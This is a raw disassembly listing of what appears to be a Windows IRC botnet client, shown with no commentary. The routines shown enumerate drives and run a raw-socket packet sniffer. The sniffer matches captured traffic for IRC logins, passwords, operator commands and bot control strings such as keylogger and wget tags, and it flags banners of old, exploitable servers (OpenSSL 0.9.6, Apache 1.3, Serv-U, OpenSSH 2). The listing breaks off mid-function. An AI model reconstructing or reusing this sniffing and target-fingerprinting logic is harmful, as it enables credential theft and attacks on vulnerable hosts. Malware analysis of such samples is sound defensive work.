		push	ebx
		call	sub_41508A
		cmp	[ebp+arg_8], 0
		pop	ecx
		push	eax
		push	offset aSDriveSTotalSF ; "%s Drive (%s), Total:	%s, Free: %s, Ava"...
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_4153AE
		call	sub_4104F6
		jmp	short loc_4153B3
; ---------------------------------------------------------------------------


loc_4153AE:				; CODE XREF: sub_4152FB+AAj
		call	sub_410491


loc_4153B3:				; CODE XREF: sub_4152FB+B1j
		add	esp, 20h


loc_4153B6:				; CODE XREF: sub_4152FB+77j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4152FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BB	proc near		; CODE XREF: sub_403B2C+1F28p
					; sub_4154DA+158p

var_E8		= byte ptr -0E8h
var_B4		= byte ptr -0B4h
var_80		= byte ptr -80h
var_4C		= byte ptr -4Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		mov	esi, dword_42F0D0
		xor	eax, eax
		push	edi
		push	eax
		push	eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], eax
		call	esi ; dword_42F0D0
		lea	edi, [eax+2]
		push	edi
		call	sub_422F79
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	edi
		call	esi ; dword_42F0D0
		cmp	byte ptr [ebx],	0
		mov	[ebp+var_14], ebx
		jz	short loc_415466


loc_4153FD:				; CODE XREF: sub_4153BB+A9j
		push	offset off_43E640
		push	[ebp+var_14]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415450
		push	[ebp+arg_C]
		lea	eax, [ebp+var_4C]
		push	[ebp+var_14]
		push	eax
		call	sub_415255
		add	esp, 0Ch
		mov	esi, eax
		lea	edi, [ebp+var_34]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_34]
		add	[ebp+var_8], eax
		mov	eax, [ebp+var_30]
		adc	[ebp+var_4], eax
		mov	eax, [ebp+var_2C]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_28]
		adc	[ebp+var_C], eax
		mov	eax, [ebp+var_24]
		add	[ebp+var_1C], eax
		mov	eax, [ebp+var_20]
		adc	[ebp+var_18], eax


loc_415450:				; CODE XREF: sub_4153BB+53j
		mov	esi, [ebp+var_14]
		push	esi
		call	sub_422120
		lea	eax, [esi+eax+1]
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4153FD


loc_415466:				; CODE XREF: sub_4153BB+40j
		push	ebx
		call	sub_4230B3
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		push	[ebp+arg_10]
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41F5B5
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_B4]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41F5B5
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_E8]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_1C]
		call	sub_41F5B5
		add	esp, 0Ch
		cmp	[ebp+arg_8], 0
		push	eax
		push	offset aDriveTotalsNAT ; "Drive	Totals (N/A), Total: %s%s,Free:	%"...
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		jnz	short loc_4154D0
		call	sub_4104F6
		jmp	short loc_4154D5
; ---------------------------------------------------------------------------


loc_4154D0:				; CODE XREF: sub_4153BB+10Cj
		call	sub_410491


loc_4154D5:				; CODE XREF: sub_4153BB+113j
		add	esp, 24h
		leave
		retn
sub_4153BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154DA	proc near		; CODE XREF: sub_415686+52p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_415533
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4154FD
		cmp	[ebp+arg_10], ebx
		jnz	short loc_415527
		push	offset aKb	; "KB"
		push	400h
		jmp	short loc_415510
; ---------------------------------------------------------------------------


loc_4154FD:				; CODE XREF: sub_4154DA+10j
		cmp	[ebp+arg_10], ebx
		jnz	loc_415683
		push	offset aMb	; "MB"
		push	100000h


loc_415510:				; CODE XREF: sub_4154DA+21j
					; sub_4154DA+57j
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4152FB
		add	esp, 18h
		jmp	loc_415683
; ---------------------------------------------------------------------------


loc_415527:				; CODE XREF: sub_4154DA+15j
		push	offset aGb	; "GB"
		push	40000000h
		jmp	short loc_415510
; ---------------------------------------------------------------------------


loc_415533:				; CODE XREF: sub_4154DA+Bj
		push	esi
		mov	esi, dword_42F0D0
		push	edi
		push	ebx
		push	ebx
		call	esi ; dword_42F0D0
		lea	edi, [eax+2]
		push	edi
		call	sub_422F79
		pop	ecx
		mov	[ebp+arg_8], eax
		push	eax
		push	edi
		call	esi ; dword_42F0D0
		cmp	[ebp+arg_14], ebx
		mov	esi, offset aSListingDrives ; "%s Listing drives:"
		jnz	short loc_415573
		cmp	[ebp+arg_18], ebx
		jnz	short loc_415578
		push	offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 10h


loc_415573:				; CODE XREF: sub_4154DA+7Ej
		cmp	[ebp+arg_18], ebx
		jz	short loc_41558C


loc_415578:				; CODE XREF: sub_4154DA+83j
		push	offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_410491
		add	esp, 10h


loc_41558C:				; CODE XREF: sub_4154DA+9Cj
		mov	esi, [ebp+arg_8]
		mov	ebx, offset aGb	; "GB"
		mov	eax, esi
		mov	edi, 40000000h
		cmp	byte ptr [eax],	0
		jz	short loc_4155FE


loc_4155A0:				; CODE XREF: sub_4154DA+122j
		push	offset off_43E640
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4155EE
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jnz	short loc_4155C9
		cmp	[ebp+arg_10], eax
		jnz	short loc_4155DA
		push	offset aKb	; "KB"
		push	400h
		jmp	short loc_4155DC
; ---------------------------------------------------------------------------


loc_4155C9:				; CODE XREF: sub_4154DA+DCj
		cmp	[ebp+arg_10], eax
		jnz	short loc_4155EE
		push	offset aMb	; "MB"
		push	100000h
		jmp	short loc_4155DC
; ---------------------------------------------------------------------------


loc_4155DA:				; CODE XREF: sub_4154DA+E1j
		push	ebx
		push	edi


loc_4155DC:				; CODE XREF: sub_4154DA+EDj
					; sub_4154DA+FEj
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4152FB
		add	esp, 18h


loc_4155EE:				; CODE XREF: sub_4154DA+D5j
					; sub_4154DA+F2j
		push	esi
		call	sub_422120
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	byte ptr [esi],	0
		jnz	short loc_4155A0


loc_4155FE:				; CODE XREF: sub_4154DA+C4j
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jnz	short loc_415616
		cmp	[ebp+arg_10], eax
		jnz	short loc_415627
		push	offset aKb	; "KB"
		push	400h
		jmp	short loc_415629
; ---------------------------------------------------------------------------


loc_415616:				; CODE XREF: sub_4154DA+129j
		cmp	[ebp+arg_10], eax
		jnz	short loc_41563A
		push	offset aMb	; "MB"
		push	100000h
		jmp	short loc_415629
; ---------------------------------------------------------------------------


loc_415627:				; CODE XREF: sub_4154DA+12Ej
		push	ebx
		push	edi


loc_415629:				; CODE XREF: sub_4154DA+13Aj
					; sub_4154DA+14Bj
		push	[ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4153BB
		add	esp, 14h


loc_41563A:				; CODE XREF: sub_4154DA+13Fj
		xor	edi, edi
		mov	esi, offset aSEndOfList_ ; "%s End of list."
		cmp	[ebp+arg_14], edi
		jnz	short loc_41565F
		cmp	[ebp+arg_18], edi
		jnz	short loc_415664
		push	offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 10h


loc_41565F:				; CODE XREF: sub_4154DA+16Aj
		cmp	[ebp+arg_18], edi
		jz	short loc_415678


loc_415664:				; CODE XREF: sub_4154DA+16Fj
		push	offset aIvrum__ltyn0x9 ; "iVRum..LtyN0X9DHH1k06Rd1"
		push	esi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_410491
		add	esp, 10h


loc_415678:				; CODE XREF: sub_4154DA+188j
		push	[ebp+arg_8]
		call	sub_4230B3
		pop	ecx
		pop	edi
		pop	esi


loc_415683:				; CODE XREF: sub_4154DA+26j
					; sub_4154DA+48j
		pop	ebx
		pop	ebp
		retn
sub_4154DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415686	proc near		; DATA XREF: sub_403B2C+1F75o

var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_240]
		rep movsd
		push	[ebp+var_188]
		mov	dword ptr [eax+0BCh], 1
		lea	eax, [ebp+var_23C]
		push	[ebp+var_18C]
		push	[ebp+var_1A8]
		push	[ebp+var_1AC]
		push	[ebp+var_1B8]
		push	[ebp+var_240]
		push	eax
		call	sub_4154DA
		push	[ebp+var_1BC]
		call	sub_41C059
		add	esp, 20h
		xor	eax, eax
		pop	edi
		pop	esi
		leave
		retn	4
sub_415686	endp


; =============== S U B	R O U T	I N E =======================================



sub_4156F3	proc near		; CODE XREF: sub_415A65+190p
					; sub_415A65+1B8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_455ECC, eax
		mov	eax, offset dword_455ECC
		retn
sub_4156F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_415702	proc near		; CODE XREF: sub_415A65+226p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_439648
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41571C


loc_415718:				; CODE XREF: sub_415702+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41571C:				; CODE XREF: sub_415702+14j
		push	offset dword_439638
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415718
		push	offset aSh	; "!* SH"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415743


loc_41573E:				; CODE XREF: sub_415702+50j
					; sub_415702+61j ...
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_415743:				; CODE XREF: sub_415702+3Aj
		push	offset aUdp	; "!* UDP"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aPan	; "!* PAN"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aPush	; "!* PUSH"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aWget	; "wget"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aPhpshell ; "phpshell"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aMain	; "[MAIN]:"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aScan	; "[SCAN]:"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41573E
		push	offset aFtp_1	; "[FTP]:"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41573E
		push	offset aTftp	; "[TFTP]:"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41573E
		push	offset aKeylogger ; "[KEYLOGGER]:"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41573E
		push	offset aVnc	; "[VNC]:"
		push	esi
		call	sub_4235C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_415702	endp


; =============== S U B	R O U T	I N E =======================================



sub_41580E	proc near		; CODE XREF: sub_415A65:loc_415CB6p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415828


loc_415824:				; CODE XREF: sub_41580E+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415828:				; CODE XREF: sub_41580E+14j
		push	offset dword_439648
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415824
		push	offset dword_439638
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41584F


loc_41584A:				; CODE XREF: sub_41580E+50j
					; sub_41580E+61j ...
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41584F:				; CODE XREF: sub_41580E+3Aj
		push	offset aIrcOperator ; "IRC Operator"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aNowANetworkAdm ; "now a	network	administrator"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aPrivmsg	; "PRIVMSG"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aJoin	; "JOIN"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aOper	; "OPER"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aPong	; "PONG"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aPing	; "PING"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41584A
		push	offset aUserhost ; "USERHOST"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41584A
		push	offset aNotice	; "NOTICE"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41584A
		push	offset aTopic	; "TOPIC"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41584A
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_4235C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_41580E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41591A	proc near		; CODE XREF: sub_415A65:loc_415CE1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_439648
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415934


loc_415930:				; CODE XREF: sub_41591A+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415934:				; CODE XREF: sub_41591A+14j
		push	offset dword_439638
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415930
		push	offset aUser_0	; "USER	"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41595B
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41595B:				; CODE XREF: sub_41591A+3Aj
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_4235C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_41591A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415970	proc near		; CODE XREF: sub_415A65:loc_415D09p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_439648
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41598A


loc_415986:				; CODE XREF: sub_415970+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41598A:				; CODE XREF: sub_415970+14j
		push	offset dword_439638
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415986
		push	offset a_bot	; "_BOT"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4159B1
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4159B1:				; CODE XREF: sub_415970+3Aj
		push	offset a_bot_login ; "_BOT_LOGIN"
		push	esi
		call	sub_4235C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_415970	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159C6	proc near		; CODE XREF: sub_415A65:loc_415D31p

arg_0		= dword	ptr  4

		push	offset dword_439648
		push	[esp+4+arg_0]
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4159EA
		push	offset dword_439638
		push	[esp+4+arg_0]
		call	sub_4235C0
		pop	ecx
		pop	ecx


loc_4159EA:				; CODE XREF: sub_4159C6+12j
		xor	eax, eax
		retn
sub_4159C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159ED	proc near		; CODE XREF: sub_415A65:loc_415D59p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_439648
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415A07


loc_415A03:				; CODE XREF: sub_4159ED+29j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415A07:				; CODE XREF: sub_4159ED+14j
		push	offset dword_439638
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415A03
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415A2E


loc_415A29:				; CODE XREF: sub_4159ED+50j
					; sub_4159ED+61j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_415A2E:				; CODE XREF: sub_4159ED+3Aj
		push	offset aApache1_3 ; "Apache/1.3"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415A29
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415A29
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_4235C0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		neg	eax
		pop	esi
		retn
sub_4159ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A65	proc near		; DATA XREF: sub_403B2C+CB9o

var_674		= byte ptr -674h
var_673		= byte ptr -673h
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_334		= byte ptr -334h
var_32B		= byte ptr -32Bh
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_30C		= byte ptr -30Ch
var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 674h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp+var_574]
		push	3Fh
		rep movsd
		xor	esi, esi
		xor	ebx, ebx
		inc	esi
		pop	ecx
		mov	[eax+0BCh], esi
		mov	eax, [ebp+var_574]
		mov	[ebp+arg_0], eax
		xor	eax, eax
		lea	edi, [ebp+var_673]
		mov	[ebp+var_674], bl
		rep stosd
		stosw
		lea	eax, [ebp+var_674]
		push	0FFh
		push	eax
		mov	[ebp+var_20], 2
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_454324	; gethostname
		lea	eax, [ebp+var_674]
		push	eax
		call	dword_454398	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4223F0
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_454394	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jnz	short loc_415B1C
		push	[ebp+var_4F0]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_415B1C:				; CODE XREF: sub_415A65+A2j
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_454344	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415B48
		push	edi
		call	dword_4543AC	; closesocket
		push	[ebp+var_4F0]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_415B48:				; CODE XREF: sub_415A65+C7j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_10], esi
		call	dword_4542B0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415B84
		push	edi
		call	dword_4543AC	; closesocket
		push	[ebp+var_4F0]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread


loc_415B84:				; CODE XREF: sub_415A65+103j
		mov	ecx, [ebp+arg_0]
		call	sub_41111B
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_42F04C	; lstrcpyA
		jmp	loc_415D91
; ---------------------------------------------------------------------------


loc_415B9C:				; CODE XREF: sub_415A65+336j
		mov	esi, 200h
		lea	eax, [ebp+var_334]
		push	esi
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_334]
		push	ebx
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_454330	; recv
		cmp	[ebp+var_32B], 6
		jnz	loc_415D91
		push	[ebp+var_320]
		call	dword_454230	; ntohs
		push	[ebp+var_320+2]
		movzx	esi, ax
		call	dword_454230	; ntohs
		push	[ebp+var_328]
		movzx	edi, ax
		call	sub_4156F3
		add	esp, 4
		push	dword ptr [eax]
		call	dword_45439C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_B4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		push	[ebp+var_324]
		call	sub_4156F3
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_45439C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_30C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_422120
		add	esp, 10h
		test	eax, eax
		jbe	short loc_415C84


loc_415C55:				; CODE XREF: sub_415A65+21Dj
		mov	eax, [ebp+var_4]
		lea	eax, [ebp+eax+var_30C]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_415C67
		mov	byte ptr [eax],	20h


loc_415C67:				; CODE XREF: sub_415A65+1FDj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_415C6F
		mov	byte ptr [eax],	20h


loc_415C6F:				; CODE XREF: sub_415A65+205j
		inc	[ebp+var_4]
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_422120
		cmp	[ebp+var_4], eax
		pop	ecx
		jb	short loc_415C55


loc_415C84:				; CODE XREF: sub_415A65+1EEj
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_415702
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_30C]
		push	eax
		jz	short loc_415CB6
		lea	eax, [ebp+var_134]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	esi
		push	eax
		push	offset unk_43E858
		jmp	loc_415D7F
; ---------------------------------------------------------------------------


loc_415CB6:				; CODE XREF: sub_415A65+235j
		call	sub_41580E
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_30C]
		push	eax
		jz	short loc_415CE1
		lea	eax, [ebp+var_134]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	esi
		push	eax
		push	offset unk_43E834
		jmp	loc_415D7F
; ---------------------------------------------------------------------------


loc_415CE1:				; CODE XREF: sub_415A65+260j
		call	sub_41591A
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_30C]
		push	eax
		jz	short loc_415D09
		lea	eax, [ebp+var_134]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	esi
		push	eax
		push	offset unk_43E810
		jmp	short loc_415D7F
; ---------------------------------------------------------------------------


loc_415D09:				; CODE XREF: sub_415A65+28Bj
		call	sub_415970
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_30C]
		push	eax
		jz	short loc_415D31
		lea	eax, [ebp+var_134]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	esi
		push	eax
		push	offset unk_43E7EC
		jmp	short loc_415D7F
; ---------------------------------------------------------------------------


loc_415D31:				; CODE XREF: sub_415A65+2B3j
		call	sub_4159C6
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_30C]
		push	eax
		jz	short loc_415D59
		lea	eax, [ebp+var_134]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	esi
		push	eax
		push	offset dword_43E7C8
		jmp	short loc_415D7F
; ---------------------------------------------------------------------------


loc_415D59:				; CODE XREF: sub_415A65+2DBj
		call	sub_4159ED
		test	eax, eax
		pop	ecx
		jz	short loc_415D91
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_134]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	esi
		push	eax
		push	offset dword_43E7A4


loc_415D7F:				; CODE XREF: sub_415A65+24Cj
					; sub_415A65+277j ...
		lea	eax, [ebp+var_570]
		push	eax
		push	[ebp+arg_0]
		call	sub_4104F6
		add	esp, 20h


loc_415D91:				; CODE XREF: sub_415A65+132j
					; sub_415A65+166j ...
		mov	ecx, [ebp+arg_0]
		call	sub_411123
		test	al, al
		jnz	loc_415B9C
		push	[ebp+var_8]
		call	dword_4543AC	; closesocket
		push	[ebp+var_4F0]
		call	sub_41C059
		pop	ecx
		push	ebx
		call	dword_42F150	; ExitThread
sub_415A65	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DBD	proc near		; DATA XREF: sub_403B2C+E64o

var_1240	= byte ptr -1240h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1240h
		call	sub_4220C0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
